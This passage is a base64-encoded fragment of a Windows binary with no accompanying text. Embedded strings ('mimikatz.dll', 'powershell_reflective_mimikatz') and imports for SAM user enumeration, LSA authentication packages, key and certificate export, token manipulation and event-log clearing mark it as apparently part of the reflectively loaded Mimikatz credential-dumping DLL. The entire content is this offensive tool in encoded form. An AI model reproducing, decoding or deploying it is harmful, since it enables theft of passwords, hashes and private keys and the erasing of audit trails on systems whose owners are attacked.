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EZWxldGVTZXJ2aWNlAK4BT3BlblNDTWFuYWdlclcAALABT3BlblNlcnZpY2VXAABMAlN0YXJ0U2VydmljZVcAxAFRdWVyeVNlcnZpY2VTdGF0dXNFeAAAQgBDb250cm9sU2VydmljZQAAOwFJc1RleHRVbmljb2RlAFAAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAArAFPcGVuUHJvY2Vzc1Rva2VuAAAaAUdldFRva2VuSW5mb3JtYXRpb24ASgFMb29rdXBBY2NvdW50U2lkVwBYAENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAJQAQ3J5cHRFeHBvcnRLZXkAAIYAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAJoAQ3J5cHRHZXRLZXlQYXJhbQAAoABDcnlwdFJlbGVhc2VDb250ZXh0AJMAQ3J5cHRFbnVtUHJvdmlkZXJzVwCbAENyeXB0R2V0UHJvdlBhcmFtAIwAQ3J5cHREZXN0cm95S2V5AJwAQ3J5cHRHZXRVc2VyS2V5AKsBT3BlbkV2ZW50TG9nVwAEAUdldE51bWJlck9mRXZlbnRMb2dSZWNvcmRzAAA6AENsZWFyRXZlbnRMb2dXAABlAENyZWF0ZVNlcnZpY2VXAABDAlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAKgBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAAMIBUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAB0AQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAADiAEZyZWVTaWQAmQBDcnlwdEdldEhhc2hQYXJhbQCiAENyeXB0U2V0S2V5UGFyYW0AAHACU3lzdGVtRnVuY3Rpb24wMzIAVQJTeXN0ZW1GdW5jdGlvbjAwNQCfAENyeXB0SW1wb3J0S2V5AABpAlN5c3RlbUZ1bmN0aW9uMDI1AIgAQ3J5cHRDcmVhdGVIYXNoAIkAQ3J5cHREZWNyeXB0AACLAENyeXB0RGVzdHJveUhhc2gAAGQBTHNhRnJlZU1lbW9yeQCdAENyeXB0SGFzaERhdGEAsQFPcGVuVGhyZWFkVG9rZW4ARQJTZXRUaHJlYWRUb2tlbgAAtABEdXBsaWNhdGVUb2tlbkV4AAA4AENoZWNrVG9rZW5NZW1iZXJzaGlwAABsAENyZWRGcmVlAABrAENyZWRFbnVtZXJhdGVXAABBRFZBUEkzMi5kbGwAAHUAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAHMAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5AEYAQ2VydEdldE5hbWVTdHJpbmdXAABQAENlcnRPcGVuU3RvcmUAPABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAADwBDZXJ0Q2xvc2VTdG9yZQAAQQBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAKQBDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUALABDZXJ0RW51bVN5c3RlbVN0b3JlAAMBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAENSWVBUMzIuZGxsAAUAQ0RMb2NhdGVDU3lzdGVtAAYAQ0RMb2NhdGVDaGVja1N1bQAACwBNRDVGaW5hbAAADQBNRDVVcGRhdGUADABNRDVJbml0AGNyeXB0ZGxsLmRsbAAATgBQYXRoSXNSZWxhdGl2ZVcAIgBQYXRoQ2Fub25pY2FsaXplVwAkAFBhdGhDb21iaW5lVwAAU0hMV0FQSS5kbGwAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluACEAU2FtT3BlblVzZXIAHQBTYW1Mb29rdXBOYW1lc0luRG9tYWluAAAcAFNhbUxvb2t1cElkc0luRG9tYWluAAAfAFNhbU9wZW5Eb21haW4ABwBTYW1Db25uZWN0AAARAFNhbUVudW1lcmF0ZURvbWFpbnNJblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyACwAU2FtUmlkVG9TaWQAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAU0FNTElCLmRsbAAAKABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACUATHNhRnJlZVJldHVybkJ1ZmZlcgAjAExzYURlcmVnaXN0ZXJMb2dvblByb2Nlc3MAIgBMc2FDb25uZWN0VW50cnVzdGVkACEATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAU2VjdXIzMi5kbGwABwBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAJsBSXNDaGFyQWxwaGFOdW1lcmljVwBVU0VSMzIuZGxsAAAFAE1ENFVwZGF0ZQADAE1ENEZpbmFsAAAEAE1ENEluaXQAYWR2YXBpMzIuZGxsAAAQAFJ0bFVuaWNvZGVTdHJpbmdUb0Fuc2lTdHJpbmcAAAoAUnRsRnJlZUFuc2lTdHJpbmcAAgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAA4AUnRsSW5pdFVuaWNvZGVTdHJpbmcAAAkAUnRsRXF1YWxVbmljb2RlU3RyaW5nAAEATnRRdWVyeU9iamVjdAAMAFJ0bEdldEN1cnJlbnRQZWIAAAAATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAPAFJ0bFN0cmluZ0Zyb21HVUlEAAsAUnRsRnJlZVVuaWNvZGVTdHJpbmcAAA0AUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAAwBOdFJlc3VtZVByb2Nlc3MABgBSdGxBZGp1c3RQcml2aWxlZ2UAAAQATnRTdXNwZW5kUHJvY2VzcwAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAgAUnRsRXF1YWxTdHJpbmcAAG50ZGxsLmRsbACNA1ZpcnR1YWxQcm90ZWN0AABdA1NsZWVwAMgARmlsZVRpbWVUb1N5c3RlbVRpbWUAAFQCTG9jYWxBbGxvYwAAWAJMb2NhbEZyZWUAqwNXcml0ZUZpbGUAsQJSZWFkRmlsZQAAWQBDcmVhdGVGaWxlVwDxAEZsdXNoRmlsZUJ1ZmZlcnMAAGcBR2V0RmlsZVNpemVFeABEAUdldEN1cnJlbnREaXJlY3RvcnlXAAA2AENsb3NlSGFuZGxlAEUBR2V0Q3VycmVudFByb2Nlc3MAggJPcGVuUHJvY2VzcwBzAUdldExhc3RFcnJvcgAAlgBEdXBsaWNhdGVIYW5kbGUALwNTZXRMYXN0RXJyb3IAAI0ARGV2aWNlSW9Db250cm9sACMDU2V0RmlsZVBvaW50ZXIAAI8DVmlydHVhbFF1ZXJ5AACQA1ZpcnR1YWxRdWVyeUV4AAC0AlJlYWRQcm9jZXNzTWVtb3J5AI4DVmlydHVhbFByb3RlY3RFeAAAtANXcml0ZVByb2Nlc3NNZW1vcnkAAGQCTWFwVmlld09mRmlsZQB4A1VubWFwVmlld09mRmlsZQBYAENyZWF0ZUZpbGVNYXBwaW5nVwAAWwJMb2NhbFJlQWxsb2MAAGwAQ3JlYXRlUHJvY2Vzc1cAAEsBR2V0RGF0ZUZvcm1hdFcAAOMBR2V0VGltZUZvcm1hdFcAAMcARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAYgNTeXN0ZW1UaW1lVG9GaWxlVGltZQAAygFHZXRTeXN0ZW1UaW1lAPsARnJlZUxpYnJhcnkAUQJMb2FkTGlicmFyeVcAAKIBR2V0UHJvY0FkZHJlc3MAAPkCU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAC7AUdldFN0ZEhhbmRsZQAAywBGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAOgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAASAFHZXRDdXJyZW50VGhyZWFkAABGAUdldEN1cnJlbnRQcm9jZXNzSWQAS0VSTkVMMzIuZGxsAAAEBV92c2N3cHJpbnRmAFoFd2NzcmNocgBRBXdjc2NocgAABwVfd2NzaWNtcAAACQVfd2NzbmljbXAAXAV3Y3NzdHIAAF8Fd2NzdG91bAD2AF9lcnJubwAA4AR2ZndwcmludGYAJwRmZmx1c2gAALEDX3dmb3BlbgAkBGZjbG9zZQAAOgRmcmVlAAB0A193Y3NkdXAAbXN2Y3J0LmRsbAAAgARtZW1jcHkAAIQEbWVtc2V0AABTAF9fQ19zcGVjaWZpY19oYW5kbGVyAABSAF9YY3B0RmlsdGVyAHQEbWFsbG9jAABsAV9pbml0dGVybQCgAF9hbXNnX2V4aXQAABMEY2FsbG9jAABUBGlzZGlnaXQAfQRtYnRvd2MAAHsAX19tYl9jdXJfbWF4AABWBGlzbGVhZGJ5dGUAAGkEaXN4ZGlnaXQAAG0EbG9jYWxlY29udgAAbwFfaW9iAAC6Al9zbnByaW50ZgDGAV9pdG9hAAwFd2N0b21iAAAmBGZlcnJvcgAAYARpc3djdHlwZQAABwV3Y3N0b21icwAAlwRyZWFsbG9jAGUAX19iYWRpb2luZm8AfQBfX3Bpb2luZm8AlQJ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